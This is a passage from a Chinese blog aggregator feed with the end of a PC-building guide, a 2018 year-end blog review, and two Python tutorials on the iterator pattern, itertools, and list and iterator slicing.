插上盒装风扇,风扇底部和CPU接触部分已经预涂了散热硅脂,别用手去摸,将风扇四个脚对齐主板上CPU插槽周围的四个孔,用力按下风扇的插脚,听到咔哒一声就OK了,按的时候注意,对角用力。然后将CPU风扇的插头查到主板对应的CPU风扇插脚上,一般在CPU上方的位置,有个C_FAN的标志,并且带有防反插设计。插上就成功了。

6.jpg


接下来安装内存,将内存从包装中取出,打开内存插槽两端的卡扣(掰向两侧),在内存插槽上对应插上,内存和插槽有缺口设计,防反插。用两个大拇指在内存的两端均匀用力,直到内存插槽两端的卡扣自动卡到位。

8.jpg

9.jpg


然后装上固态硬盘,博主的是M.2口的固态硬盘,如果有多个M.2插槽,看下主板上是不是有标注不同的速率等级,优先选快的那个,基本都是靠近CPU的那个。说来也糗,博主这几年没装机了,到手的M.2硬盘因为被主板上的接口箭头误导,还以为要一个数据线。插好固态硬盘后,在尾部的螺丝拧松,把固态硬盘的半圆缺口卡进去拧上螺丝即可。


接下来我们要折腾机箱了,打开机箱两侧盖板,将主板轻轻放到机箱内部,看一下主板固定螺丝孔和机箱对应位置是否都有螺丝母座。比对完成以后,主板放一边,把没有没有螺丝母座的先拧上,就是图中这样的螺丝。把主板自带的一个金属挡板装到机箱上,用螺丝刀背部轻敲几下,知道四周都卡到位,注意,这个挡板四周很锋利当心割到手。然后装上电源,电源很简单,电源卡到电源卡座上,用四个螺丝在机箱外部固定就好了,然后把电源线全部从机箱内侧隔板上的空穿到另外一边,用于背板走线。如图这样的。

12.jpg

15.jpg

14.jpg


装好电源以后,再次把主板放置到机箱内部,把所有螺丝固定上,全部对角操作。不要用力拧太紧,免得把PCB板拧裂了,能固定不动即可。然后把显卡插槽对应的机箱挡板掰掉,用手来回掰一下就断开了


弄完以后我们装上机械硬盘、光驱(如果有的话)、显卡。机械硬盘在机箱前半截有对应的硬盘卡座,有些比较好的机箱,硬盘卡座是免螺丝的,塑料卡扣卡上就行,博主这个是上螺丝的。显卡插的时候和内存一样,先掰开后面的卡扣,然后插上显卡,手指在显卡两端用力知道卡扣到位,然后把显卡和机箱接触的技术卡座对应机箱上的螺丝孔,拧一个固定螺丝。这样就完成了所有配件的安装。

18.jpg


接下来就是重要的插线步骤了。插线主要是不同配件的供电接口是不同的,简单看一下你就懂,首先是最大的主板供电口,等下我在后面另配一个图片用来说明。然后就是CPU、显卡和机械硬盘的供电,几种插头不一样的。不会搞错。最后就是主板跳线的安插了,这个比较棘手一点,很多人搞不清。我们先来装AUDIO的插头,图中这个蓝色的,插到对应的插座上,主板上有标识。针脚有缺少,插头有实心,这也是防反插设计。再插黑色的这个USB对应的USB插座上,有些机箱有独立USB3.0接口的,记得插上。剩下就是电源开关重启按钮电源指示灯和硬盘指示灯的插头了,主板做的比较好的都用对应颜色标注了,实在搞不清的,翻一下主板说明书。电源插头一般是PW+-,电源指示灯是PWLED+-,重启插头是RES+-,硬盘指示灯HDD+-,这几种针脚因为有正负极,只要对着主板上标注的插上即可,如果主板因为印刷的问题,看不清或者没记录,那就翻一下手册或者官网上查下指南就行了。

19.jpg

20.jpg


在插线的时候记得根据插座在主板的位置,插线从机箱背板上不同的孔穿过来,多余的线就留在背板后面就好,插完内部各种线,接下来线束稍微整理一下,特别是CPU风扇的线,要预估下别被风扇叶片打到,如果过长可以打个圈圈留在那儿。然后就在外面接上键盘鼠标和显示器,通电看下能不能点亮吧。没问题就撞上机箱盖板完成了。


至于后面BIOS设置、硬盘分区、装系统不是本文探讨内容,这里就不讲了。这样就完成了整套电脑的硬件组装。前面大篇幅的硬件选择内容,可能有不准确的,都是基于博主自己的经验和喜好来的,仅供参考。


by 西枫里 at January 03, 2019 11:44 AM

January 02, 2019

pythoncat

Python进阶:设计模式之迭代器模式

在软件开发领域中,人们经常会用到这一个概念——“设计模式”(design pattern),它是一种针对软件设计的共性问题而提出的解决方案。
在一本圣经级的书籍《设计模式:可复用面向对象软件的基础》(1991年,Design Patterns - Elements of Reusable Object-Oriented Software)中,它提出了23种设计模式。
迭代器模式就是其中的一种,在各种编程语言中都得到了广泛的应用。
本文将谈谈 Python 中的迭代器模式,主要内容:什么是迭代器模式、Python 如何实现迭代器模式、itertools 模块创建迭代器的方法、其它运用迭代器的场景等等,期待与你共同学习进步。

1、什么是迭代器模式?

维基百科有如下定义:

迭代器是一种最简单也最常见的设计模式。它可以让用户透过特定的接口巡访容器中的每一个元素而不用了解底层的实现。——维基百科

简单地说,迭代器模式就是一种通用性的可以遍历容器类型(如序列类型、集合类型等)的实现方式。使用迭代器模式,可以不关心遍历的对象具体是什么(如字符串、列表、字典等等),也不需要关心遍历的实现算法是什么,它关心的是从容器中遍历/取出元素的结果。
按遍历方式划分,迭代器可分为内部迭代器与外部迭代器,它们的区别在于执行迭代动作与维持迭代状态的不同。
通常而言,迭代器是一次性的,当迭代过一轮后,再次迭代将获取不到元素。

2、Python的迭代器模式

由于迭代器模式的使用太常见了,所以大多数编程语言都给常见的容器类型实现了它,例如 Java 中的 Collection,List、Set、Map等。在 Java 中使用迭代器遍历 List 可以这么写:
List<String> list = new ArrayList<>();
Iterator<String> iterator = list.iterator();
while(iterator.hasNext()){
    System.out.println(iterator.next());
}
ArrayList 类通过自身的 iterator() 方法获得一个迭代器 iterator,然后由该迭代器实例来落实遍历过程。
Python 当然也应用了迭代器模式,但它的实现思路跟上例却不太一样。
首先,Python 认为遍历容器类型并不一定要用到迭代器,因此设计了可迭代对象。
list = [1,2,3,4]
for i in list:
    print(i,end=" ") # 1 2 3 4
for i in list:
    print(i,end=" ") # 1 2 3 4
上例中的 list 是可迭代对象(Iterable),但并不是迭代器(虽然在底层实现时用了迭代器的部分思想)。Python 抓住了迭代器模式的本质,即是“迭代”,赋予了它极高的地位。
如此设计的好处显而易见:(1)写法简便,用意直白;(2)可重复迭代,避免一次性迭代器的缺陷;(3)不需要创建迭代器,减少开销。
可迭代对象可看作是广义的迭代器,同时,Python 也设计了普通意义的狭义的迭代器。
list = [1,2,3,4]
it = iter(list)
for i in it:
    print(i,end=" ") # 1 2 3 4
for i in it:
    print(i,end=" ") # 无输出
上例中的 iter() 方法会将可迭代对象变成一个迭代器。从输出结果可以看出,该迭代器的迭代过程是一次性的。
由此看来,Python 其实是将“迭代器模式”一拆为二来实现:一是可迭代思想,广泛播种于容器类型的对象中,使它们都可迭代;一是迭代器,一种特殊的可迭代对象,承担普通意义上的迭代器所特有的迭代任务。
同时,它还提供了将可迭代对象转化为迭代器的简易方法,如此安排,真是将迭代器模式的效力发挥到了极致。(关于可迭代对象与迭代器的更多区别、以及它们的实现原理,请参见《Python进阶:迭代器与迭代器切片》)

3、创建迭代器

创建迭代器有如下方式:(1)iter() 方法,将可迭代对象转化成迭代器;(2)__iter__()__next__() 魔术方法,定义类实现这两个魔术方法;(3)itertools 模块,使用内置模块生成迭代器;(4)其它创建方法,如 zip() 、map() 、enumerate() 等等。
四类方法各有适用场所,本节重点介绍 itertools 模块。它可以创建三类迭代器:无限迭代器、有限迭代器与组合迭代器。

3.1 无限迭代器

count(start=0, step=1) :创建一个从 start (默认值为 0) 开始,以 step (默认值为 1) 为步长的的无限整数迭代器。
cycle(iterable) :对可迭代对象的元素反复执行循环。
repeat(object [,times]) :反复生成 object 至无限,或者到给定的 times 次。
import itertools
co = itertools.count()
cy = itertools.cycle('ABC')
re = itertools.repeat('A', 30)

# 注意:请分别执行;以下写法未加终止判断,只能按 Ctrl+C 退出
for n in co:
    print(n,end=" ")  # 0 1 2 3 4......
for n in cy:
    print(n,end=" ")  # A B C A B C A B......
for n in re:
    print(n,end=" ")  # A A A A A A A A....(30个)

3.2 有限迭代器

以上方法,比较常用的有:chain() 将多个可迭代对象(可以是不同类型)连接成一个大迭代器;compress() 方法根据真假过滤器筛选元素;groupby() 把迭代器中相邻的重复元素挑出来放在一起;islice() 方法返回迭代器切片(用法参见《Python进阶:迭代器与迭代器切片》);tee() 方法根据可迭代对象创建 n 个(默认2个)迭代器副本。
for c in itertools.chain('ABC', [1,2,3]):
    print(c,end=" ")
# 输出结果:A B C 1 2 3

for c in itertools.compress('ABCDEF', [1, 1, 0, 1, 0, 1]):
    print(c,end=" ")
# 输出结果:A B D F

for key, group in itertools.groupby('aaabbbaaccd'):
    print(key, ':', list(group))
# 输出结果:
a : ['a', 'a', 'a']
b : ['b', 'b', 'b']
a : ['a', 'a']
c : ['c', 'c']
d : ['d']

itertools.tee('abc', 3)
# 输出结果:(<itertools._tee at 0x1fc72c08108>,
 <itertools._tee at 0x1fc73f91d08>,
 <itertools._tee at 0x1fc73efc248>)

3.3 组合迭代器

product() :求解多个可迭代对象的笛卡尔积。
permutations() :求解可迭代对象的元素的全排列。
combinations():求解可迭代对象的元素的组合。
for i in itertools.product('ABC', [1,2]):
    print(i, end=" ")
# 输出结果:('A', 1) ('A', 2) ('B', 1) ('B', 2) ('C', 1) ('C', 2)

for i in itertools.permutations('ABC', 2):
    print(i, end=" ")
# 输出结果:('A', 'B') ('A', 'C') ('B', 'A') ('B', 'C') ('C', 'A') ('C', 'B')

for i in itertools.combinations('ABC', 2):
    print(i, end=" ")
# 输出结果:('A', 'B') ('A', 'C') ('B', 'C')

for i in itertools.combinations('ABCD', 3):
    print(i, end=" ")
# 输出结果:('A', 'B', 'C') ('A', 'B', 'D') ('A', 'C', 'D') ('B', 'C', 'D')

4、强大的内置迭代器方法

迭代器模式的使用场景实在太普遍了,而 Python 也为迭代器的顺利使用而提供了很多便利的条件,本节将介绍相关的几个内置方法。这些方法非常常用而且强大,是 Python 进阶的必会内容。

4.1 zip() 方法

zip() 方法可以同时迭代多个序列,并各取一个元素,生成一个可返回元组的迭代器。此迭代器的长度以较短序列的长度保持一致,若想生成较长序列的长度,需要使用 itertools 模块的 zip_longest() 方法。
import itertools

a = [1, 2, 3]
b = ['w', 'x', 'y', 'z']

for i in zip(a,b):
    print(i,end=" ")  # (1, 'w') (2, 'x') (3, 'y')

# 空缺值以 None 填补
for i in itertools.zip_longest(a,b):
    print(i,end=" ")  # (1, 'w') (2, 'x') (3, 'y') (None, 'z')

4.2 enumerate() 方法

enumerate() 方法接收一个序列类型参数,生成一个可返回元组的迭代器,元组内容是下标及其对应的元素值。它还可接收一个可选参数,指定下标的起始值,默认是0 。
注意:众所周知,Python 中序列的索引值从 0 开始,但是,enumerate() 可以达到改变起始索引数值的效果。
seasons = ['Spring', 'Summer', 'Fall', 'Winter']

for i in enumerate(seasons):
    print(i,end=" ")  
#输出结果:(0, 'Spring') (1, 'Summer') (2, 'Fall') (3, 'Winter')

for i in enumerate(seasons, start=7):
    print(i,end=" ")  
#输出结果:(7, 'Spring') (8, 'Summer') (9, 'Fall') (10, 'Winter')

4.3 map() 方法

map() 方法的参数是一个函数及一个或多个可迭代对象,它会将可迭代对象的元素映射到该函数中,然后迭代地运行该函数,返回结果也是一个迭代器。当存在多个可迭代对象参数时,迭代长度等于较短对象的长度。
def square(x):
    return x ** 2

l = map(square, [1, 2, 3, 4, 5])
print(list(l))
# 输出结果:[1, 4, 9, 16, 25]

m = map(lambda x, y: x + y, [1, 3, 5, 7, 9], [2, 4, 6, 8, 10, 2])
print(list(m))
# 输出结果:[3, 7, 11, 15, 19]

4.4 filter() 方法

filter() 方法的参数是一个判断函数及一个可迭代对象,遍历可迭代对象执行判断函数,过滤下判断为True 的元素,与它相对,若想保留判断为 False 的元素,可使用 itertoole 模块的 filterfalse() 方法。
import itertools

fi = filter(lambda x: x%2, range(10))
ff = itertools.filterfalse(lambda x: x%2, range(10))

for i in fi:
    print(i,end=" ")
# 输出结果:1 3 5 7 9

for i in ff:
    print(i,end=" ")
# 输出结果:0 2 4 6 8

5. 小结

迭代器模式几乎是 23 种设计模式中最常用的设计模式,本文主要介绍了 Python 是如何运用迭代器模式,并介绍了 itertools 模块生成迭代器的 18 种方法,以及 5 种生成迭代器的内置方法。
相关链接:

January 02, 2019 12:00 AM

December 31, 2018

anji66

再见2018,你好2019

先来盘点一下去年立的flag,第一条就是保持8-10篇的月更。看看归档日志,别说达标了,竟然还有断更的月份。第二是完善这个博客系统,虽然赶着12月的时候把后端全部重构过了,前端重构还没开始,离完善似乎还远。第三,深度学习下TP5和PHP7,算了,简直无从谈起,额外的python更是在下半年直接中断了。第四,拖延症依然没有太大改观,在某些时刻倒是愈发严重了。最后,那个笑话成真了,糗。


来自西枫里博客的年终盘点

月更目标显然是没有完成。这一年博客总计更文76篇(含这篇)。上半年主要还是技术文,下半年就差不多“转型”生活博客了。这一年总共收到评论760条,当然这其中接近一半是我的回复。这一年总计收到留言14条,多数都是交换链接的留言。这一年总计有44位朋友在博客上通过手机号注册了账号(不包括我拉黑的3位)。这一年因为需要手机号来验证,阻挡了46位朋友的脚步(只计算点击了登陆按钮没绑定手机的用户)。这一年,博客系统大大小小改了37次。这一年博客总计有48055个访客,47240个IP访问,日均129个IP。这一年约100个关键词在百度前100名(若干个关键词稳妥的超越百度经验和行业龙头网站)。这大概就是西枫里博客这一年来的核心数据了。

QQ图片20181231210623.jpg

QQ图片20181231210648.jpg


博客的境况

双十一的时候下狠手花了2070买了阿里云2H8G5M的云服务器,把之前的三个一的突发给换了。12月的时候完成了从TP5.0到TP5.1的升级改造,并把前台做了大量缓存,mmTrix评测爬上92分,GTmetrix爬上A,C(C级这一个因素其实只是三个图片没有应用缩略图,懒得改了),myssl爬上A+。最近,在年终的最后两天,博客有幸被小志博客导航收录(PY交易)在2017年度内。

QQ图片20181231211415.jpg


博客之外的工作和生活

首先是产品经理身份,2018年7月重入职场,在一家传统企业从事互联网+的转型工作,传统企业远没有网络公司这边自由的时间和平等的对话,各种规章制度和职业等级及审批手续,有点恼人。经过数月的熟悉和介入,公司新业务这块正按部就班的步入正轨。其次是皮包公司这块,大量的工作都是搭档在做,大恩不言谢。

2018年的生活,依旧有吵闹,下次在结婚纪念日更文的时候再总结吧,女儿一天天长大,从咿咿呀呀到鹦鹉学舌,从一步三摇到健步快跑,慢慢的那假小子的发型如今可以扎起两条小辫了。不出3月,要开始在网上给她报名幼儿园了,看着似乎没变的模样,翻翻过往的照片和渐渐短小的衣服,道不是岁月催人老!


还是立一些flag吧,即便仍是无法完成

随行就市的做一些博客的更新,不能放弃的学习(这该死的互联网行业,技术的进步使人落伍),经营生活经营婚姻,育儿的路上还需披荆斩棘。别再偷懒了,出去运动一下吧,毕竟脂肪肝已经很严重了,别再拖延了,到手的活儿就地解决吧,毕竟拖到最后还是自己的事情。


最后祝各位新年快乐!2019,来了~


by 西枫里 at December 31, 2018 01:00 PM

pythoncat

Python进阶:全面解读高级特性之切片!

导读:切片系列文章连续写了三篇,本文是对它们做的汇总。为什么要把序列文章合并呢?在此说明一下,本文绝不是简单地将它们做了合并,主要是修正了一些严重的错误(如自定义序列切片的部分),还对行文结构与章节衔接做了大量改动,如此一来,本文结构的完整性与内容的质量都得到了很好的保证。
众所周知,我们可以通过索引值(或称下标)来查找序列类型(如字符串、列表、元组…)中的单个元素,那么,如果要获取一个索引区间的元素该怎么办呢?
切片(slice)就是一种截取索引片段的技术,借助切片技术,我们可以十分灵活地处理序列类型的对象。通常来说,切片的作用就是截取序列对象,然而,对于非序列对象,我们是否有办法做到切片操作呢?在使用切片的过程中,有什么要点值得重视,又有什么底层原理值得关注呢?本文将主要跟大家一起来探讨这些内容,希望我能与你共同学习进步。

1、切片的基础用法

列表是 Python 中极为基础且重要的一种数据结构,也是最能发挥切片的用处的一种数据结构,所以在前两节,我将以列表为例介绍切片的一些常见用法。
首先是切片的书写形式:[i : i+n : m] ;其中,i 是切片的起始索引值,为列表首位时可省略;i+n 是切片的结束位置,为列表末位时可省略;m 可以不提供,默认值是1,不允许为0 ,当m为负数时,列表翻转。注意:这些值都可以大于列表长度,不会报越界。
切片的基本含义是:从序列的第i位索引起,向右取到后n位元素为止,按m间隔过滤
li = [1, 4, 5, 6, 7, 9, 11, 14, 16]

# 以下写法都可以表示整个列表,其中 X >= len(li)
li[0:X] == li[0:] == li[:X] == li[:] 
== li[::] == li[-X:X] == li[-X:]

li[1:5] == [4,5,6,7] # 从1起,取5-1位元素
li[1:5:2] == [4,6] # 从1起,取5-1位元素,按2间隔过滤
li[-1:] == [16] # 取倒数第一个元素
li[-4:-2] == [9, 11] # 从倒数第四起,取-2-(-4)=2位元素
li[:-2] == li[-len(li):-2] 
== [1,4,5,6,7,9,11] # 从头开始,取-2-(-len(li))=7位元素

# 步长为负数时,列表先翻转,再截取
li[::-1] == [16,14,11,9,7,6,5,4,1] # 翻转整个列表
li[::-2] == [16,11,7,5,1] # 翻转整个列表,再按2间隔过滤
li[:-5:-1] == [16,14,11,9] # 翻转整个列表,取-5-(-len(li))=4位元素
li[:-5:-3] == [16,9] # 翻转整个列表,取-5-(-len(li))=4位元素,再按3间隔过滤

# 切片的步长不可以为0
li[::0]  # 报错(ValueError: slice step cannot be zero)
上述的某些例子对于初学者(甚至很多老手)来说,可能还不好理解,但是它们都离不开切片的基本语法,所以为方便起见,我将它们也归入基础用法中。
对于这些样例,我个人总结出两条经验:
(1)牢牢记住公式[i : i+n : m] ,当出现缺省值时,通过想象把公式补全;
(2)索引为负且步长为正时,按倒数计算索引位置;索引为负且步长为负时,先翻转列表,再按倒数计算索引位置。

2、切片的高级用法

一般而言,切片操作的返回结果是一个新的独立的序列(PS:也有例外,参见《Python是否支持复制字符串呢?》)。以列表为例,列表切片后得到的还是一个列表,占用新的内存地址。
当取出切片的结果时,它是一个独立对象,因此,可以将其用于赋值操作,也可以用于其它传递值的场景。但是,切片只是浅拷贝 ,它拷贝的是原列表中元素的引用,所以,当存在变长对象的元素时,新列表将受制于原列表。
li = [1, 2, 3, 4]
ls = li[::]

li == ls # True
id(li) == id(ls) # False
li.append(li[2:4]) # [1, 2, 3, 4, [3, 4]]
ls.extend(ls[2:4]) # [1, 2, 3, 4, 3, 4]

# 下例等价于判断li长度是否大于8
if(li[8:]):
    print("not empty")
else:
    print("empty")

# 切片列表受制于原列表
lo = [1,[1,1],2,3]
lp = lo[:2] # [1, [1, 1]]
lo[1].append(1) # [1, [1, 1, 1], 2, 3]
lp # [1, [1, 1, 1]]
由于可见,将切片结果取出,它可以作为独立对象使用,但是也要注意,是否取出了变长对象的元素。
切片既可以作为独立对象被“取出”原序列,也可以留在原序列,作为一种占位符使用。
不久前,我介绍了几种拼接字符串的方法(链接见文末),其中三种格式化类的拼接方法(即 %、format()、template)就是使用了占位符的思想。对于列表来说,使用切片作为占位符,同样能够实现拼接列表的效果。特别需要注意的是,给切片赋值的必须是可迭代对象。
li = [1, 2, 3, 4]

# 在头部拼接
li[:0] = [0] # [0, 1, 2, 3, 4]
# 在末尾拼接
li[len(li):] = [5,7] # [0, 1, 2, 3, 4, 5, 7]
# 在中部拼接
li[6:6] = [6] # [0, 1, 2, 3, 4, 5, 6, 7]

# 给切片赋值的必须是可迭代对象
li[-1:-1] = 6 # (报错,TypeError: can only assign an iterable)
li[:0] = (9,) #  [9, 0, 1, 2, 3, 4, 5, 6, 7]
li[:0] = range(3) #  [0, 1, 2, 9, 0, 1, 2, 3, 4, 5, 6, 7]
上述例子中,若将切片作为独立对象取出,那你会发现它们都是空列表,即 li[:0]==li[len(li):]==li[6:6]==[] ,我将这种占位符称为“纯占位符”,对纯占位符赋值,并不会破坏原有的元素,只会在特定的索引位置中拼接进新的元素。删除纯占位符时,也不会影响列表中的元素。
与“纯占位符”相对应,“非纯占位符”的切片是非空列表,对它进行操作(赋值与删除),将会影响原始列表。如果说纯占位符可以实现列表的拼接,那么,非纯占位符可以实现列表的替换。
li = [1, 2, 3, 4]

# 不同位置的替换
li[:3] = [7,8,9] # [7, 8, 9, 4]
li[3:] = [5,6,7] # [7, 8, 9, 5, 6, 7]
li[2:4] = ['a','b'] # [7, 8, 'a', 'b', 6, 7]

# 非等长替换
li[2:4] = [1,2,3,4] # [7, 8, 1, 2, 3, 4, 6, 7]
li[2:6] = ['a']  # [7, 8, 'a', 6, 7]

# 删除元素
del li[2:3] # [7, 8, 6, 7]
切片占位符可以带步长,从而实现连续跨越性的替换或删除效果。需要注意的是,这种用法只支持等长替换。
li = [1, 2, 3, 4, 5, 6]

li[::2] = ['a','b','c'] # ['a', 2, 'b', 4, 'c', 6]
li[::2] = [0]*3 # [0, 2, 0, 4, 0, 6]
li[::2] = ['w'] # 报错,attempt to assign sequence of size 1 to extended slice of size 3

del li[::2] # [2, 4, 6]

3、自定义对象实现切片功能

切片是 Python 中最迷人最强大最 Amazing 的语言特性(几乎没有之一),以上两小节虽然介绍了切片的基础用法与高级用法,但这些还不足以充分地展露切片的魅力,所以,在接下来的两章节中,我们将聚焦于它的更高级用法。
前两节内容都是基于原生的序列类型(如字符串、列表、元组…),那么,我们是否可以定义自己的序列类型并让它支持切片语法呢?更进一步,我们是否可以自定义其它对象(如字典)并让它支持切片呢?

3.1、魔术方法:__getitem__()

想要使自定义对象支持切片语法并不难,只需要在定义类的时候给它实现魔术方法 __getitem__() 即可。所以,这里就先介绍一下这个方法。
语法: object.__getitem__(self, key)
官方文档释义:Called to implement evaluation of self[key]. For sequence types, the accepted keys should be integers and slice objects. Note that the special interpretation of negative indexes (if the class wishes to emulate a sequence type) is up to the __getitem__() method. If key is of an inappropriate type, TypeError may be raised; if of a value outside the set of indexes for the sequence (after any special interpretation of negative values), IndexError should be raised. For mapping types, if key is missing (not in the container), KeyError should be raised.
概括翻译一下:__getitem__() 方法用于返回参数 key 所对应的值,这个 key 可以是整型数值和切片对象,并且支持负数索引;如果 key 不是以上两种类型,就会抛 TypeError;如果索引越界,会抛 IndexError ;如果定义的是映射类型,当 key 参数不是其对象的键值时,则会抛 KeyError 。

3.2、自定义序列实现切片功能

接下来,我们定义一个简单的 MyList ,并给它加上切片功能。(PS:仅作演示,不保证其它功能的完备性)。
import numbers

class MyList():
    def __init__(self, anylist):
        self.data = anylist
    def __len__(self):
        return len(self.data)
    def __getitem__(self, index):
        print("key is : " + str(index))
        cls = type(self)
        if isinstance(index, slice):
            print("data is : " + str(self.data[index]))
            return cls(self.data[index])
        elif isinstance(index, numbers.Integral):
            return self.data[index]
        else:
            msg = "{cls.__name__} indices must be integers"
            raise TypeError(msg.format(cls=cls))

l = MyList(["My", "name", "is", "Python猫"])

### 输出结果:
key is : 3
Python猫
key is : slice(None, 2, None)
data is : ['My', 'name']
<__main__.MyList object at 0x0000019CD83A7A90>
key is : hi
Traceback (most recent call last):
...
TypeError: MyList indices must be integers or slices
从输出结果来看,自定义的 MyList 既支持按索引查找,也支持切片操作,这正是我们的目的。

3.3、自定义字典实现切片功能

切片是序列类型的特性,所以在上例中,我们不需要写切片的具体实现逻辑。但是,对于其它非序列类型的自定义对象,就得自己实现切片逻辑。以自定义字典为例(PS:仅作演示,不保证其它功能的完备性):
class MyDict():
    def __init__(self):
        self.data = {}
    def __len__(self):
        return len(self.data)
    def append(self, item):
        self.data[len(self)] = item
    def __getitem__(self, key):
        if isinstance(key, int):
            return self.data[key]
        if isinstance(key, slice):
            slicedkeys = list(self.data.keys())[key]
            return {k: self.data[k] for k in slicedkeys}
        else:
            raise TypeError

d = MyDict()
d.append("My")
d.append("name")
d.append("is")
d.append("Python猫")
print(d[2])
print(d[:2])
print(d[-4:-2])
print(d['hi'])

### 输出结果:
is
{0: 'My', 1: 'name'}
{0: 'My', 1: 'name'}
Traceback (most recent call last):
...
TypeError
上例的关键点在于将字典的键值取出,并对键值的列表做切片处理,其妙处在于,不用担心索引越界和负数索引,将字典切片转换成了字典键值的切片,最终实现目的。

4、迭代器实现切片功能

好了,介绍完一般的自定义对象如何实现切片功能,这里将迎来另一类非同一般的对象。
迭代器是 Python 中独特的一种高级对象,它本身不具备切片功能,然而若能将它用于切片,这便仿佛是锦上添花,能达到如虎添翼的效果。所以,本节将隆重地介绍迭代器如何实现切片功能。

4.1、迭代与迭代器

首先,有几个基本概念要澄清:迭代、可迭代对象、迭代器。
迭代 是一种遍历容器类型对象(例如字符串、列表、字典等等)的方式,例如,我们说迭代一个字符串“abc”,指的就是从左往右依次地、逐个地取出它的全部字符的过程。(PS:汉语中迭代一词有循环反复、层层递进的意思,但 Python 中此词要理解成单向水平线性 的,如果你不熟悉它,我建议直接将其理解为遍历。)
那么,怎么写出迭代操作的指令呢?最通用的书写语法就是 for 循环。
# for循环实现迭代过程
for char in "abc":
    print(char, end=" ")
# 输出结果:a b c
for 循环可以实现迭代的过程,但是,并非所有对象都可以用于 for 循环,例如,上例中若将字符串“abc”换成任意整型数字,则会报错: ‘int’ object is not iterable .
这句报错中的单词“iterable”指的是“可迭代的”,即 int 类型不是可迭代的。而字符串(string)类型是可迭代的,同样地,列表、元组、字典等类型,都是可迭代的。
那怎么判断一个对象是否可迭代呢?为什么它们是可迭代的呢?怎么让一个对象可迭代呢?
要使一个对象可迭代,就要实现可迭代协议,即需要实现__iter__() 魔术方法,换言之,只要实现了这个魔术方法的对象都是可迭代对象。
那怎么判断一个对象是否实现了这个方法呢?除了上述的 for 循环外,我还知道四种方法:
# 方法1:dir()查看__iter__
dir(2)     # 没有,略
dir("abc") # 有,略

# 方法2:isinstance()判断
import collections
isinstance(2, collections.Iterable)     # False
isinstance("abc", collections.Iterable) # True

# 方法3:hasattr()判断
hasattr(2,"__iter__")     # False
hasattr("abc","__iter__") # True

# 方法4:用iter()查看是否报错
iter(2)     # 报错:'int' object is not iterable
iter("abc") # <str_iterator at 0x1e2396d8f28>

### PS:判断是否可迭代,还可以查看是否实现__getitem__,为方便描述,本文从略。
这几种方法中最值得一提的是 iter() 方法,它是 Python 的内置方法,其作用是将可迭代对象变成迭代器 。这句话可以解析出两层意思:(1)可迭代对象跟迭代器是两种东西;(2)可迭代对象能变成迭代器。
实际上,迭代器必然是可迭代对象,但可迭代对象不一定是迭代器。两者有多大的区别呢?
如上图蓝圈所示,普通可迭代对象与迭代器的最关键区别可概括为:一同两不同 ,所谓“一同”,即两者都是可迭代的(__iter__),所谓“两不同”,即可迭代对象在转化为迭代器后,它会丢失一些属性(__getitem__),同时也增加一些属性(__next__)。
首先看看增加的属性 __next__ , 它是迭代器之所以是迭代器的关键,事实上,我们正是把同时实现了 __iter__ 方法 和 __next__ 方法的对象定义为迭代器的。
有了多出来的这个属性,可迭代对象不需要借助外部的 for 循环语法,就能实现自我的迭代/遍历过程。我发明了两个概念来描述这两种遍历过程(PS:为了易理解,这里称遍历,实际也可称为迭代):它遍历 指的是通过外部语法而实现的遍历,自遍历 指的是通过自身方法实现的遍历。
借助这两个概念,我们说,可迭代对象就是能被“它遍历”的对象,而迭代器是在此基础上,还能做到“自遍历”的对象。
ob1 = "abc"
ob2 = iter("abc")
ob3 = iter("abc")

# ob1它遍历
for i in ob1:
    print(i, end = " ")   # a b c
for i in ob1:
    print(i, end = " ")   # a b c
# ob1自遍历
ob1.__next__()  # 报错: 'str' object has no attribute '__next__'

# ob2它遍历
for i in ob2:
    print(i, end = " ")   # a b c    
for i in ob2:
    print(i, end = " ")   # 无输出
# ob2自遍历
ob2.__next__()  # 报错:StopIteration

# ob3自遍历
ob3.__next__()  # a
ob3.__next__()  # b
ob3.__next__()  # c
ob3.__next__()  # 报错:StopIteration
通过上述例子可看出,迭代器的优势在于支持自遍历,同时,它的特点是单向非循环的,一旦完成遍历,再次调用就会报错。
对此,我想到一个比方:普通可迭代对象就像是子弹匣,它遍历就是取出子弹,在完成操作后又装回去,所以可以反复遍历(即多次调用for循环,返回相同结果);而迭代器就像是装载了子弹匣且不可拆卸的枪,进行它遍历或者自遍历都是发射子弹,这是消耗性的遍历,是无法复用的(即遍历会有尽头)。
写了这么多,稍微小结一下:迭代是一种遍历元素的方式,按照实现方式划分,有外部迭代与内部迭代两种,支持外部迭代(它遍历)的对象就是可迭代对象,而同时还支持内部迭代(自遍历)的对象就是迭代器;按照消费方式划分,可分为复用型迭代与一次性迭代,普通可迭代对象是复用型的,而迭代器是一次性的。

4.2、迭代器切片

前面提到了“一同两不同”,最后的不同是,普通可迭代对象在转化成迭代器的过程中会丢失一些属性,其中关键的属性是 __getitem__ 。在前一节中,我已经介绍了这个魔术方法,并用它实现了自定义对象的切片特性。
那么问题来了:为什么迭代器不继承这个属性呢?
首先,迭代器使用的是消耗型的遍历,这意味着它充满不确定性,即其长度与索引键值对是动态衰减的,所以很难 get 到它的 item ,也就不再需要 __getitem__ 属性了。其次,若强行给迭代器加上这个属性,这并不合理,正所谓强扭的瓜不甜…
由此,新的问题来了:既然会丢失这么重要的属性(还包括其它未标识的属性),为什么还要使用迭代器呢?
这个问题的答案在于,迭代器拥有不可替代的强大的有用的功能,使得 Python 要如此设计它。限于篇幅,此处不再展开,后续我会专门填坑此话题。
还没完,死缠烂打的问题来了:能否令迭代器拥有这个属性呢,即令迭代器继续支持切片呢?
hi = "欢迎关注公众号:Python猫"
it = iter(hi)

# 普通切片
hi[-7:] # Python猫

# 反例:迭代器切片
it[-7:] # 报错:'str_iterator' object is not subscriptable
迭代器因为缺少__getitem__ ,因此不能使用普通的切片语法。想要实现切片,无非两种思路:一是自己造轮子,写实现的逻辑;二是找到封装好的轮子。
Python 的 itertools 模块就是我们要找的轮子,用它提供的方法可轻松实现迭代器切片。
import itertools

# 例1:简易迭代器
s = iter("123456789")
for x in itertools.islice(s, 2, 6):
    print(x, end = " ")   # 输出:3 4 5 6
for x in itertools.islice(s, 2, 6):
    print(x, end = " ")   # 输出:9

# 例2:斐波那契数列迭代器
class Fib():
    def __init__(self):
        self.a, self.b = 1, 1

    def __iter__(self):
        while True:
            yield self.a
            self.a, self.b = self.b, self.a + self.b
f = iter(Fib())
for x in itertools.islice(f, 2, 6):
    print(x, end = " ")  # 输出:2 3 5 8
for x in itertools.islice(f, 2, 6):
    print(x, end = " ")  # 输出:34 55 89 144
